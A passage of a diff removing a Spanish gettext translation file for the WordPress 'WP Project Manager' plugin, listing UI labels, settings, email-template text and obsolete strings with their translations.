"left -" -msgstr "" - -#: views/assets/src/components/project-overview/overview.vue:107 -msgid "Last 30 days" -msgstr "Últimos 30 días" - -#: views/assets/src/components/project-overview/overview.vue:116 -msgid "Users" -msgstr "Usuarios" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:6 -msgid "" -"You can list all your Tasks in a single discussion using a Task list. Use " -"these lists to divide a project into several sectors, assign co-workers and " -"check progress." -msgstr "" -"Puede listar todas sus Actividades en una sola discusión utilizando unos " -"componentes. Utilice estas listas para dividir un proyecto en varios " -"sectores, asignar colaboradores y comprobar el progreso." - -#: views/assets/src/components/project-task-lists/default-list-page.vue:14 -msgid "When to use Task Lists?" -msgstr "¿Cuándo usar los Componentes?" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:17 -msgid "To partition a project internals." -msgstr "Para dividir un proyecto interno." - -#: views/assets/src/components/project-task-lists/default-list-page.vue:18 -msgid "To mark milestone points." -msgstr "Para marcar puntos de hito." - -#: views/assets/src/components/project-task-lists/default-list-page.vue:19 -msgid "To assign people to tasks." -msgstr "Para asignar personas a las Actividades." - -#: views/assets/src/components/project-task-lists/list-comments.vue:4 -msgid "Discuss this task list" -msgstr "Comentar esta Componente" - -#: views/assets/src/components/project-task-lists/list-tasks.vue:9 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:12 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:29 -msgid "No tasks found." -msgstr "No hay Actividades." - -#: views/assets/src/components/project-task-lists/lists.vue:77 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:14 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:32 -msgid "More Tasks" -msgstr "Mas Actividades" - -#: views/assets/src/components/project-task-lists/new-task-list-btn.vue:7 -msgid "New Task List" -msgstr "Nuevo Componente" - -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:5 -msgid "Incomplete Tasks" -msgstr "Actividades incompletas" - -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:21 -msgid "Completed Tasks" -msgstr "Actividades completadas" - -#: views/assets/src/components/project-task-lists/single-list.vue:29 -msgid "Back to Task Lists" -msgstr "Volver a las listas de Actividades" - -#: views/assets/src/components/project-task-lists/single-task.vue:203 -msgid "Shift+Enter for line break" -msgstr "Shift + Enter para salto de línea" - -#: views/assets/src/components/project-task-lists/task-comments.vue:4 -msgid "Discuss this task" -msgstr "Discutir esta actividad" - -#: views/assets/src/components/settings/email.vue:7 -#: views/assets/src/components/settings/header.vue:9 -msgid "E-Mail Settings" -msgstr "Ajustes de E-Mail" - -#: views/assets/src/components/settings/email.vue:12 -msgid "From Email" -msgstr "Desde el correo electrónico" - -#: views/assets/src/components/settings/email.vue:20 -msgid "Links in the Email" -msgstr "Enlaces en el correo electrónico" - -#: views/assets/src/components/settings/email.vue:25 -msgid "Link to Backend" -msgstr "Enlace al escritorio" - -#: views/assets/src/components/settings/email.vue:28 -msgid "" -"Select where do you want to take the user. Notification emails contain links." -msgstr "" -"Seleccione dónde desea tomar el usuario. Correos electrónicos de " -"notificación contienen vínculos." - -#: views/assets/src/components/settings/email.vue:35 -msgid "E-Mail Type" -msgstr "Tipo de E-Mail" - -#: views/assets/src/components/settings/email.vue:39 -msgid "HTML Mail" -msgstr "Mail HTML" - -#: views/assets/src/components/settings/email.vue:40 -msgid "Plain Text" -msgstr "Texto Plano" - -#: views/assets/src/components/settings/email.vue:46 -msgid "Send email via Bcc" -msgstr "Enviar correo electrónico a través de BCC" - -#: views/assets/src/components/settings/email.vue:52 -msgid "Enable Bcc" -msgstr "Habilitar Bcc" - -#: views/assets/src/components/settings/general.vue:7 -#: views/assets/src/components/settings/header.vue:5 -msgid "General Settings" -msgstr "Configuración general" - -#: views/assets/src/components/settings/general.vue:12 -msgid "File Upload Limit" -msgstr "Líminte de Subida de Archivos" - -#: views/assets/src/components/settings/general.vue:16 -msgid "File Size in Megabytes. e.g: 2" -msgstr "Tamaño de archivo en megabytes. e.g: 2" - -#: views/assets/src/components/settings/general.vue:21 -msgid "Projects Per Page" -msgstr "Proyectos por página" - -#: views/assets/src/components/settings/general.vue:25 -msgid "-1 for unlimited" -msgstr "-1 para un número ilimitado" - -#: views/assets/src/components/settings/general.vue:31 -msgid "Task Lists Per Page" -msgstr "Componentes por página" - -#: views/assets/src/components/settings/general.vue:39 -msgid "Incomplete Tasks Per Page" -msgstr "Actividades incompletas por página" - -#: views/assets/src/components/settings/general.vue:47 -msgid "Completed Tasks Per Page" -msgstr "Actividades terminadas por página" - -#: views/assets/src/components/settings/general.vue:55 -msgid "Project Managing Capability" -msgstr "Capacidad de Gestión de proyectos" - -#: views/assets/src/components/settings/general.vue:65 -#: views/assets/src/components/settings/general.vue:81 -msgid "Select the user roles who can see and manage all projects." -msgstr "" -"Elige el rol del usuario que puede ver y administrar todos los proyectos." - -#: views/assets/src/components/settings/general.vue:71 -msgid "Project Creation Capability" -msgstr "Capacidad de creación de proyectos" - -#: views/emails/html/complete-task.php:12 -msgid "Task status has been changed" -msgstr "" - -#: views/emails/html/complete-task.php:25 -msgid "Changed by" -msgstr "" - -#: views/emails/html/complete-task.php:31 views/emails/html/new-task.php:24 -#: views/emails/html/update-task.php:24 -msgid "due date" -msgstr "" - -#: views/emails/html/complete-task.php:36 views/emails/html/new-task.php:29 -#: views/emails/html/update-task.php:29 -msgid "start at" -msgstr "" - -#: views/emails/html/complete-task.php:54 views/emails/html/new-task.php:46 -#: views/emails/html/update-task.php:46 -msgid "View Task" -msgstr "Ver Actividad" - -#: views/emails/html/new-comment.php:12 -msgid "New Comment" -msgstr "Nuevo comentario" - -#: views/emails/html/new-comment.php:19 views/emails/html/update-comment.php:19 -msgid "Commented By" -msgstr "Comentado por" - -#: views/emails/html/new-comment.php:23 views/emails/html/update-comment.php:23 -msgid "On" -msgstr "Hecho en" - -#: views/emails/html/new-comment.php:38 views/emails/html/update-comment.php:38 -#: views/emails/mention.php:47 -msgid "View Comment" -msgstr "Ver comentario" - -#: views/emails/html/new-message.php:12 -msgid "New Message" -msgstr "Nuevo Mensaje" - -#: views/emails/html/new-message.php:19 -msgid "Message Created By" -msgstr "Mensaje creado por" - -#: views/emails/html/new-message.php:28 -msgid "Title" -msgstr "Titulo" - -#: views/emails/html/new-message.php:49 -msgid "View Message" -msgstr "Ver Mensaje" - -#: views/emails/html/new-project.php:16 -msgid "Project Created By" -msgstr "Proyecto creado por" - -#: views/emails/html/new-project.php:23 views/emails/html/update-project.php:22 -#: views/emails/mention.php:37 -msgid "Hello" -msgstr "Hola" - -#: views/emails/html/new-project.php:25 -msgid "You are assigned to a new project \"%s\" by %s." -msgstr "Estás asignado a un nuevo proyecto \"%s\" por %s." - -#: views/emails/html/new-project.php:26 views/emails/html/update-project.php:25 -msgid "You can see the project by going here:" -msgstr "Puedes ver el proyecto aquí:" - -#: views/emails/html/new-project.php:34 views/emails/html/update-project.php:35 -msgid "View Project" -msgstr "Ver Proyecto" - -#: views/emails/html/new-task.php:12 -msgid "New task has been assigned to you" -msgstr "La nueva actividad se te ha asignado" - -#: views/emails/html/new-task.php:18 -msgid "Created By" -msgstr "Creado por" - -#: views/emails/html/update-project.php:15 -msgid "Project Updated By" -msgstr "Proyecto actualizado por" - -#: views/emails/html/update-project.php:24 -msgid "You are assigned to a project \"%s\" by %s." -msgstr "" - -#: views/emails/html/update-task.php:12 -#, fuzzy -#| msgid "New task has been assigned to you" -msgid "Update task has been assigned to you" -msgstr "La nueva actividad se te ha asignado" - -#: views/emails/html/update-task.php:18 -#, fuzzy -#| msgid "Update" -msgid "Updated By" -msgstr "Actualizar" - -#: views/emails/mention.php:39 -msgid "You are mentioned in a comment by" -msgstr "Te mencionaron en un comentario por" - -#: views/emails/mention.php:41 -msgid "Please click the link bellow to view the comment." -msgstr "Da click en el link para ver el comentario." - -#. Plugin Name of the plugin/theme -msgid "WP Project Manager" -msgstr "Planes/Proyectos/Programas" - -#. Plugin URI of the plugin/theme -msgid "https://wedevs.com/wp-project-manager-pro/" -msgstr "" - -#. Description of the plugin/theme -msgid "" -"WordPress Project Management plugin. Manage your projects and tasks, get " -"things done." -msgstr "" - -#. Author of the plugin/theme -msgid "weDevs" -msgstr "" - -#. Author URI of the plugin/theme -msgid "https://wedevs.com" -msgstr "" - -#~ msgid "Add-ons" -#~ msgstr "Add-ons" - -#~ msgid "Project created by %s" -#~ msgstr "Proyecto creado por %s" - -#~ msgid "Project details updated by %s" -#~ msgstr "Detalles de proyecto actualizados por %s" - -#~ msgid "Message \"%s\" created by %s" -#~ msgstr "Mensaje \"%s\" creado por %s" - -#~ msgid "Message \"%s\" updated by %s" -#~ msgstr "Mensaje \"%s\" actualizado por %s" - -#~ msgid "Message with ID %d was not found in the database" -#~ msgstr "El Mensaje con la ID %d no fue encontrado en la base de datos" - -#~ msgid "Message \"%s\" deleted by %s" -#~ msgstr "Mensaje \"%s\" eliminado por %s" - -#~ msgid "Task list \"%s\" created by %s" -#~ msgstr "Componente \"%s\", creado por %s" - -#~ msgid "Task list \"%s\" updated by %s" -#~ msgstr "Componente \"%s\", actualizado por %s" - -#~ msgid "Task list \"%s\" deleted by %s" -#~ msgstr "Componente \"%s\" eliminado por %s" - -#~ msgid "Task \"%s\" added to task list \"%s\" by %s" -#~ msgstr "Actividad \"%s\" agregada al componente \"%s\" por %s" - -#~ msgid "Task \"%s\" updated by %s" -#~ msgstr "Actividad \"%s\", actualizada por %s" - -#~ msgid "Task \"%s\" completed by %s" -#~ msgstr "Actividad \"%s\", completada por %s" - -#~ msgid "Task \"%s\" marked as undone by %s" -#~ msgstr "Actividad \"%s\" marcada como incompleta por %s" - -#~ msgid "Task \"%s\" deleted from task list \"%s\" by %s" -#~ msgstr "Actividad \"%s\" eliminada del componente \"%s\", por %s" - -#~ msgid "%s commented on a %s" -#~ msgstr "%s comentó en una %s" - -#~ msgid "%s updated a comment on a %s" -#~ msgstr "%s comentario actualizado en una %s" - -#~ msgid "%s deleted a comment" -#~ msgstr "%s Eliminar comentario" - -#~ msgid "Milestone \"%s\" added by %s" -#~ msgstr "Etapa \"%s\" agregada por %s" - -#~ msgid "Milestone \"%s\" updated by %s" -#~ msgstr "Etapa \"%s\" actualizada por %s" - -#~ msgid "Milestone \"%s\" deleted by %s" -#~ msgstr "Etapa \"%s\" eliminada por %s" - -#~ msgid "Milestone \"%s\" marked as complete by %s" -#~ msgstr "Etapa \"%s\" marcada como completada por %s" - -#~ msgid "Milestone \"%s\" marked as incomplete by %s" -#~ msgstr "Meta \"%s\" marcada como incompleta por %s" - -#~ msgid "Link to Front-end" -#~ msgstr "Enlace al frente" - -#~ msgid "Task List Style" -#~ msgstr "Estilo de lista" - -#~ msgid "Pagination" -#~ msgstr "Paginación" - -#~ msgid "Lazy Load" -#~ msgstr "Carga Lenta" - -#~ msgid "Select the user roles who can create projects." -#~ msgstr "Seleccione el rol de usuario que puede crear proyectos." - -#~ msgid "- Select -" -#~ msgstr "- Seleccionar -" - -#~ msgid "Invalid project ID." -#~ msgstr "ID de Proyecto no válido." - -#~ msgid "Access Denied" -#~ msgstr "Acceso denegado" - -#~ msgid "Username is required." -#~ msgstr "Falta el nombre de usuario." - -#~ msgid "Invalid email" -#~ msgstr "Correo electrónico no válido" - -#~ msgid "Username already exist" -#~ msgstr "Este nombre de usuario ya existe" - -#~ msgid "Email already exist" -#~ msgstr "Dirección de correo electrónico ya existe" - -#~ msgid "Are you cheating?" -#~ msgstr "Erro: ¿Haciendo Trampa?" - -#~ msgid "Project ID required" -#~ msgstr "Se requiere ID de proyecto" - -#~ msgid "Project name is required." -#~ msgstr "Nombre del proyecto es necesario." - -#~ msgid "Start date is a date field and should be formatted as Y-m-d" -#~ msgstr "Fecha de inicio es un campo de fecha de formato Y-m-d" - -#~ msgid "Due date is a date field and should be formatted as Y-m-d" -#~ msgstr "Fecha final es un campo de fecha y de formato Y-m-d" - -#~ msgid "The task has been updated successfully." -#~ msgstr "La Actividad se ha actualizado con éxito." - -#~ msgid "The task has been marked as completed." -#~ msgstr "La Actividad ha sido marcada como completada." - -#~ msgid "The task has been reopened." -#~ msgstr "La Actividad ha sido reactivada." - -#~ msgid "Successfully updated" -#~ msgstr "Actualizado correctamente" - -#~ msgid "Error" -#~ msgstr "Error" - -#~ msgid "Add a comment..." -#~ msgstr "Añadir comentario..." - -#~ msgid "Successfully deleted comment" -#~ msgstr "Comentario borrado correctamente" - -#~ msgid "Create a new user?" -#~ msgstr "Crear un nuevo usuario?" - -#~ msgid "Successfully reordered" -#~ msgstr "Reordenado correctamente" - -#~ msgid "API key does not exist!" -#~ msgstr "Clave de API no existe!" - -#~ msgid "Secret key does not exist!" -#~ msgstr "Clave secreta no existe!" - -#~ msgid "API key does not match!" -#~ msgstr "Clave de API no coincide!" - -#~ msgid "Secret key does not match!" -#~ msgstr "Clave secreta no coincide!" - -#~ msgid "Project API Keys" -#~ msgstr "Claves API del Proyecto" - -#~ msgid "Generate API Key" -#~ msgstr "Generar clave de API" - -#~ msgid "Consumer Key:" -#~ msgstr "Clave Consumidor:" - -#~ msgid "Consumer Secret:" -#~ msgstr "Clave secreta del cliente:" - -#~ msgid "Revoke API Key" -#~ msgstr "Revocar la clave de API" - -#~ msgid "This feature is only available in the Pro Version." -#~ msgstr "Esta función sólo está disponible en la versión Pro." - -#~ msgid "Upgrade to Pro Version" -#~ msgstr "Actualización a la versión Pro" - -#~ msgid "Messages" -#~ msgstr "Mensajes" - -#~ msgid "message post type" -#~ msgstr "mesaje tipo post" - -#~ msgid "Add New Message" -#~ msgstr "Añadir nuevo Mensaje" - -#~ msgid "Edit Message" -#~ msgstr "Editar Mensaje" - -#~ msgid "Search Messages" -#~ msgstr "Buscar Mensajes" - -#~ msgid "No messages found." -#~ msgstr "No se encontraron Mensajes." - -#~ msgid "No messages found in Trash." -#~ msgstr "No hay mensajes en la papelera." - -#~ msgid "Parent Message" -#~ msgstr "Mensaje Padre" - -#~ msgid "Milestone" -#~ msgstr "Meta" - -#~ msgid "Add New Milestone" -#~ msgstr "Añadir una Meta nueva" - -#~ msgid "New Milestone" -#~ msgstr "Nueva Meta" - -#~ msgid "View Milestone" -#~ msgstr "Ver Meta" - -#~ msgid "Search Milestone" -#~ msgstr "Buscar Meta" - -#~ msgid "No milestones found." -#~ msgstr "No se encontraron Etapas." - -#~ msgid "No milestones found in Trash." -#~ msgstr "No hay etapas en la basura." - -#~ msgid "Parent Milestone" -#~ msgstr "Meta Padre" - -#~ msgid "[%s] Project Update Invitation: %s" -#~ msgstr "[%s] Invitación a actualizar proyecto: %s" - -#~ msgid "[%s][%s] Task Completed: %s" -#~ msgstr "[%s][%s] Actividad completada: %s" - -#~ msgid "[%s][%s] New Sub Task Assigned: %s" -#~ msgstr "[%s][%s] Nueva actividad asignada: %s" - -#~ msgid "Project" -#~ msgstr "Proyecto" - -#~ msgid "project manager post type" -#~ msgstr "manager de proyecto tipo post" - -#~ msgid "Add Project" -#~ msgstr "Añadir Proyecto" - -#~ msgid "Edit Project" -#~ msgstr "Aditar Proyecto" - -#~ msgid "Search Project" -#~ msgstr "Buscar Proyecto" - -#~ msgid "No projects found in Trash." -#~ msgstr "Proyectos no encontrados en la papelera." - -#~ msgid "Parent Project" -#~ msgstr "Poryecto Padre" - -#~ msgid "Search Project Categories" -#~ msgstr "Buscar categorías de proyectos" - -#~ msgid "All Project Categories" -#~ msgstr "Todas las categorías de proyectos" - -#~ msgid "Parent Project Category" -#~ msgstr "Categoría principal del proyecto" - -#~ msgid "Parent Project Category:" -#~ msgstr "Categoría de Proyecto Padre:" - -#~ msgid "Edit Project Category" -#~ msgstr "Editar categoría de proyecto" - -#~ msgid "Add New Project Category" -#~ msgstr "Agregar nueva categoría de proyectos" - -#~ msgid "New Project Category Name" -#~ msgstr "Nuevo nombre de la categoría del proyecto" - -#~ msgid "Sure to confirm pin task list" -#~ msgstr "Confirmas fijar Componentes" - -#~ msgid "Sure to confirm un-pin task list" -#~ msgstr "Confirmas eliminar componente" - -#~ msgid "File uploads" -#~ msgstr "Las cargas de archivos" - -#~ msgid "Attach a File" -#~ msgstr "Adjuntar un archivo" - -#~ msgid "Submit" -#~ msgstr "Enviar" - -#~ msgid "Add Task List" -#~ msgstr "Añadir Componente" - -#~ msgid "Update Task List" -#~ msgstr "Actualizar Componentes" - -#~ msgid "Are you sure to update task status?" -#~ msgstr "¿Seguro en actualizar el estado de la Actividad?" - -#~ msgid "from your computer" -#~ msgstr "desde su ordenador" - -#~ msgid "Attachments" -#~ msgstr "Archivos adjuntos" - -#~ msgid "Comment" -#~ msgstr "Comentario" - -#~ msgid "Private Task" -#~ msgstr "Actividad Privada" - -#~ msgid "Completed by" -#~ msgstr "Terminado por" - -#~ msgid "Add Comment" -#~ msgstr "Agregar comentario" - -#~ msgid "Are you sure to delete this file?" -#~ msgstr "¿Está seguro de que desea eliminar este archivo?" - -#~ msgid "Please write something in comments!" -#~ msgstr "Por favor, escriba algo en los comentarios!" - -#~ msgid "Add New Task List" -#~ msgstr "Añadir nuevo componente" - -#~ msgid "Edit Task List" -#~ msgstr "Editar Componentes" - -#~ msgid "View Task List" -#~ msgstr "Ver Componentes" - -#~ msgid "Search Task List" -#~ msgstr "Buscar Componentes" - -#~ msgid "No task lists found." -#~ msgstr "No hay componentes." - -#~ msgid "No task lists found in Trash." -#~ msgstr "No hay componentes en la papelera." - -#~ msgid "Parent Task List" -#~ msgstr "Componente Padre" - -#~ msgid "Add New Task" -#~ msgstr "Añadir nueva actividad" - -#~ msgid "Edit Task" -#~ msgstr "Editar Actividad" - -#~ msgid "New Task" -#~ msgstr "Nueva Actividad" - -#~ msgid "Search Task" -#~ msgstr "Buscar Actividad" - -#~ msgid "No tasks found in Trash." -#~ msgstr "Sin actividades en la papelera." - -#~ msgid "Parent Task" -#~ msgstr "Actividad Padre" - -#~ msgid "Task name is required." -#~ msgstr "Nombre de la actividad es requerido." - -#~ msgid "Current Task" -#~ msgstr "Actividad actual" - -#~ msgid "Outstanding Task" -#~ msgstr "Actividades pendientes" - -#~ msgid "Completed Task" -#~ msgstr "Actividad finalizada" - -#~ msgid "" -#~ "Want to help make WP Project Manager even more awesome?" -#~ msgstr "" -#~ "¿Quieres ayudar a hacer WP Project Manager más " -#~ "impresionante?" - -#~ msgid "" -#~ "Allow weDevs to collect non-sensitive diagnostic data and usage " -#~ "information." -#~ msgstr "" -#~ "Permite a weDevs recoger información no confidencial de los datos y el " -#~ "uso." - -#~ msgid "Enjoy 15% discount on upgrades and add-on purchase." -#~ msgstr "" -#~ "Obtén 15% de descuento en actualizaciones y " -#~ "complementos." - -#~ msgid "Number of projects and tasks" -#~ msgstr "Número de proyectos y Actividades" - -#~ msgid " is email field." -#~ msgstr " es un campo de correo." - -#~ msgid " is a date field and should be formated as Y-m-d." -#~ msgstr " es un campo de fecha con formato Y-m-d." - -#~ msgid "Pro Version" -#~ msgstr "Versión Pro" - -#~ msgid "WP Project Manager Pro - add-ons" -#~ msgstr "WP Project Manager Pro - add-ons" - -#~ msgid "Installed" -#~ msgstr "Instalado" - -#~ msgid "View Details" -#~ msgstr "Ver detalles" - -#~ msgid "Error fetching add-ons. Please try again later!" -#~ msgstr "Error fetching add-ons. Por favor, inténtelo de nuevo más tarde!" - -#~ msgid "Invalid post ID." -#~ msgstr "ID de publicación no válido." - -#~ msgid "Sorry! You are not assigned to this project." -#~ msgstr "¡ups! no estás asignado a este proyecto." - -#~ msgid "Sorry! You do not have permission to view this comments." -#~ msgstr "¡Lo lamento! no tienes permiso para ver estos comentarios." - -#~ msgid "Sorry! You do not have permission to view this comment." -#~ msgstr "¡Lo siento! no tienes permiso para ver este comentario." - -#~ msgid "Sorry! You do not have permission to edit this comment." -#~ msgstr "¡Lo siento! no tienes permiso para editar este comentario." - -#~ msgid "Invalid task list ID." -#~ msgstr "ID de componente no válido." - -#~ msgid "Sorry! You do not have permission to view this task list." -#~ msgstr "¡Lo lamento! no tienes permiso para ver esta componente." - -#~ msgid "Sorry! You do not have permission to create task list." -#~ msgstr "¡Lo lamento! no tienes permiso para crear componentes." - -#~ msgid "Invalid list ID." -#~ msgstr "ID de lista no válido." - -#~ msgid "Sorry! Permission denied to edit task list." -#~ msgstr "¡Lo siento! Permiso denegado para editar componentes." - -#~ msgid "Permission denied." -#~ msgstr "Permiso denegado." - -#~ msgid "Permanently deleted post" -#~ msgstr "Elemento eliminado permanentemente" - -#~ msgid "Deleted post" -#~ msgstr "Post eliminado" - -#~ msgid "Sorry! You do not have permission to view this message." -#~ msgstr "¡Lo lamento! no tienes permiso para ver este mensaje." - -#~ msgid "Message name is required." -#~ msgstr "Nombre del Mensaje requerido." - -#~ msgid "Sorry! You do not have permission to create message." -#~ msgstr "¡Lo lamento! no tienes permiso para crear mensajes." - -#~ msgid "Invalid message ID." -#~ msgstr "ID del mensaje no válido." - -#~ msgid "Sorry! You do not have permission to edit this message." -#~ msgstr "¡Lo lamento! no tienes permiso para editar este mensaje." - -#~ msgid "Sorry! Permission denied." -#~ msgstr "¡Lo siento! Permiso denegado." - -#~ msgid "Sorry! You do not have permission to view this milestone." -#~ msgstr "¡Lo lamento! no tienes permiso para ver este etapa." - -#~ msgid "Sorry! You do not have permission to create milestone." -#~ msgstr "¡Lo lamento! no tienes permiso para crear etapas." - -#~ msgid "Invalid milestone ID." -#~ msgstr "ID de hito no válido." - -#~ msgid "Sorry! You do not have permission to edit this milestone." -#~ msgstr "¡Lo lamento! no tienes permiso para editar este etapa." - -#~ msgid "Sorry! You do not have permission to delete this milestone." -#~ msgstr "¡Lo lamento! no tienes permiso para borrar este etapa." - -#~ msgid "You do not have permission to create projects." -#~ msgstr "Usted no tiene permiso para crear proyectos." - -#~ msgid "Cannot create project, something wrong!" -#~ msgstr "¡No se puede crear el proyecto, algo salió mal!" - -#~ msgid "You do not have permission to edit this project." -#~ msgstr "No tienes permiso para editar este proyecto." - -#~ msgid "Cannot edit project, something wrong!" -#~ msgstr "!No se pudo editar el proyecto, algo falló!" - -#~ msgid "You do not have permission to delete this project." -#~ msgstr "No tienes permiso para borrar este proyecto." - -#~ msgid "Sorry! You do not have permission to view this task." -#~ msgstr "¡Lo lamento! no tienes permiso para ver esta actividad." - -#~ msgid "Sorry! You do not have permission to create task." -#~ msgstr "¡Lo lamento! no tienes permiso para crear actividades." - -#~ msgid "Invalid task ID." -#~ msgstr "ID de actividad no válida." - -#~ msgid "Sorry! You do not have permission to edit this task." -#~ msgstr "¡Lo lamento! no tienes permiso para editar esta actividad." - -#~ msgid "Search by Client..." -#~ msgstr "Buscar por cliente..." - -#~ msgid "Search All..." -#~ msgstr "Buscar todos..." - -#~ msgid "- All Categories -" -#~ msgstr "- Todas las Categorias -" - -#~ msgid "Select Co-Workers" -#~ msgstr "Elegir colaboradores" - -#~ msgid "To attach, %sselect files%s from your computer." -#~ msgstr "Para adjuntar, %s selecciona los archivos %s de tu computadora." - -#~ msgid "file access denied" -#~ msgstr "se ha denegado el acceso al archivo" - -#~ msgid "Create" -#~ msgstr "Crear" - -#~ msgid "View Private" -#~ msgstr "Ver Privado" - -#~ msgid "Upload or create doc" -#~ msgstr "Cargar o Crear doc" - -#~ msgid "View Private files or docs" -#~ msgstr "Ver archivos privados o docs" - -#~ msgid "Delete project" -#~ msgstr "Eliminar proyecto" - -#~ msgid "Duplicate" -#~ msgstr "Duplicar" - -#~ msgid "«" -#~ msgstr "«" - -#~ msgid "»" -#~ msgstr "»" - -#~ msgid "You cannot use this field more than once!" -#~ msgstr "!No puedes utilizar este campo más de una vez!" - -#~ msgid "You cannot create more than 4 actions!" -#~ msgstr "¡No se puede crear más de 4 acciones!" - -#~ msgid "Are you sure?" -#~ msgstr "¿Estás seguro?" - -#~ msgid "Completed by %s on %s" -#~ msgstr "Completado por %s el %s" - -#~ msgid "Add this task" -#~ msgstr "Agregar una actividad" - -#~ msgid "Edit this task list" -#~ msgstr "Editar Componente" - -#~ msgid "Delete this task list" -#~ msgstr "Borrar Componente" - -#~ msgid "Are you sure to delete this task list?" -#~ msgstr "¿Seguro de eliminar este componente?" - -#~ msgid "Add a task" -#~ msgstr "Agregar una actividad" - -#~ msgid "%d Comment" -#~ msgid_plural "%d Comments" -#~ msgstr[0] "%d Comentario" -#~ msgstr[1] "%d Comentarios" - -#~ msgid "Add this comment" -#~ msgstr "Añadir este comentario" - -#~ msgid "Saving..." -#~ msgstr "Guardar..." - -#~ msgid "By %s on %s at %s" -#~ msgstr "Por %s en %s el %s" - -#~ msgid "left" -#~ msgstr "queda" - -#~ msgid "late" -#~ msgstr "tarde" - -#~ msgid "Discussion" -#~ msgstr "Foro" - -#~ msgid "Status" -#~ msgstr "Estado" - -#~ msgid "Time Range" -#~ msgstr "Intervalo de tiempo" - -#~ msgid "All Projects" -#~ msgstr "Todos los proyectos" - -#~ msgid "Select a Co-Worker" -#~ msgstr "Seleccione un Colaborador" - -#~ msgid "All Co-Workers" -#~ msgstr "Compañeros de trabajo" - -#~ msgid "All Status" -#~ msgstr "Todos los Estados" - -#~ msgid "Inactive" -#~ msgstr "Inactivo" - -#~ msgid "Yearly" -#~ msgstr "Anual" - -#~ msgid "Monthly" -#~ msgstr "Mensual" - -#~ msgid "Weekly" -#~ msgstr "Semanal" - -#~ msgid "From" -#~ msgstr "Desde" - -#~ msgid "To" -#~ msgstr "Hasta" - -#~ msgid "Generate Report" -#~ msgstr "Generar informe" - -#~ msgid "Export to CSV" -#~ msgstr "Exportar a CSV" - -#~ msgid "Server environment details (PHP, MySQL, server, WordPress versions)" -#~ msgstr "" -#~ "Entorno del servidor (Versiones del PHP, MySQL, Servidor, WordPress)" - -#~ msgid "Number of users in your site" -#~ msgstr "Número de usuarios del Portal" - -#~ msgid "Site language" -#~ msgstr "Lenguaje del sitio" - -#~ msgid "Number of active and inactive plugins" -#~ msgstr "Número de plugins activos e inactivos" - -#~ msgid "Site name and url" -#~ msgstr "Nombre del portal y URL" - -#~ msgid "Your name and email address" -#~ msgstr "Tu nombre y correo electrónico" - -#~ msgid "what we collect" -#~ msgstr "qué recogemos" - -#~ msgid "No sensitive data is tracked." -#~ msgstr "No se da seguimiento a datos sensibles." - -#~ msgid "Allow" -#~ msgstr "Permitir" - -#~ msgid "No thanks" -#~ msgstr "No, gracias" - -#~ msgid "Once Weekly" -#~ msgstr "Una vez a la semana" - -#~ msgid "I couldn't understand how to make it work" -#~ msgstr "No pudé entender cómo hacer que funcione" - -#~ msgid "Would you like us to assist you?" -#~ msgstr "¿Deseas asistencia?" - -#~ msgid "I found a better plugin" -#~ msgstr "Encontré un mejor plugin" - -#~ msgid "Which plugin?" -#~ msgstr "¿Que plugin?" - -#~ msgid "" -#~ "The plugin is great, but I need specific feature that you don't support" -#~ msgstr "" -#~ "El plugin es bueno, pero necesito características específicas que no " -#~ "tienen" - -#~ msgid "Could you tell us more about that feature?" -#~ msgstr "¿Podrías decirnos más acerca de esa característica?" - -#~ msgid "The plugin is not working" -#~ msgstr "El plugin no funciona" - -#~ msgid "Could you tell us a bit more whats not working?" -#~ msgstr "¿Podrías decirnos qué no funciona?" - -#~ msgid "It's not what I was looking for" -#~ msgstr "No es lo que busco" - -#~ msgid "The plugin didn't work as expected" -#~ msgstr "El plugin no funcionó como se esperaba" - -#~ msgid "What did you expect?" -#~ msgstr "¿Qué esperabas?" - -#~ msgid "Other" -#~ msgstr "Otro" - -#~ msgid "Could you tell us a bit more?" -#~ msgstr "¿Podrías contarnos un poco más?" - -#~ msgid "If you have a moment, please let us know why you are deactivating:" -#~ msgstr "" -#~ "Si tienes un momento, por favor, háganoslo saber por qué se está " -#~ "desactivando:" - -#~ msgid "I rather wouldn't say" -#~ msgstr "Prefiero no decirlo" - -#~ msgid "Submit & Deactivate" -#~ msgstr "Enviar y desactivar" - -#~ msgid "Install Now" -#~ msgstr "Instalar ahora" - -#~ msgid "Dismiss this notice." -#~ msgstr "Descartar este aviso." - -#~ msgid "You don't have permission to install the plugins" -#~ msgstr "No tienes permiso para instalar los plugins" - -#~ msgid "Choose File" -#~ msgstr "Elija Archivo" - -#~ msgid "discussion" -#~ msgstr "comentarios" - -#~ msgid "Documents & Files" -#~ msgstr "Documentos y Archivos" - -#~ msgid "" -#~ "Access all the files from all discussions in one place. Store your " -#~ "project related files, docs, images or any other files on-site. Makes " -#~ "sharing and storing easy and convenient, plus you can add privacy here " -#~ "too." -#~ msgstr "" -#~ "Ten acceso a todos los archivos de todos los comentarios en un lugar. " -#~ "Almacena los archivos, docs, imágenes o cualquier archivo de los " -#~ "proyectos o planes en un sitio. Comparte, almacena y define su privacidad." - -#~ msgid "Benefits of Documents" -#~ msgstr "Ventajas de documentos" - -#~ msgid "Integrate easily with projects or tasks." -#~ msgstr "Se integran fácilmente con proyectos o actividades." - -#~ msgid "Shared storage keeps all data secure." -#~ msgstr "Almacenamiento compartido mantiene los datos seguros." - -#~ msgid "File sharing privacy." -#~ msgstr "Privacidad de uso compartido de archivos." - -#~ msgid "Date" -#~ msgstr "Fecha" - -#~ msgid "New task has been completed" -#~ msgstr "Nueva actividad se ha completado" - -#~ msgid "Author:" -#~ msgstr "Autor:" - -#~ msgid "Permalink:" -#~ msgstr "Enlace permanente:" - -#~ msgid "Comment link" -#~ msgstr "Enlace del comentario" - -#~ msgid "Comment:" -#~ msgstr "Comentario:" - -#~ msgid "You are assigned to a project update \"%s\" by %s." -#~ msgstr "Estás asignado a un proyecto actualizado \"%s\" por %s." - -#~ msgid "Attached to
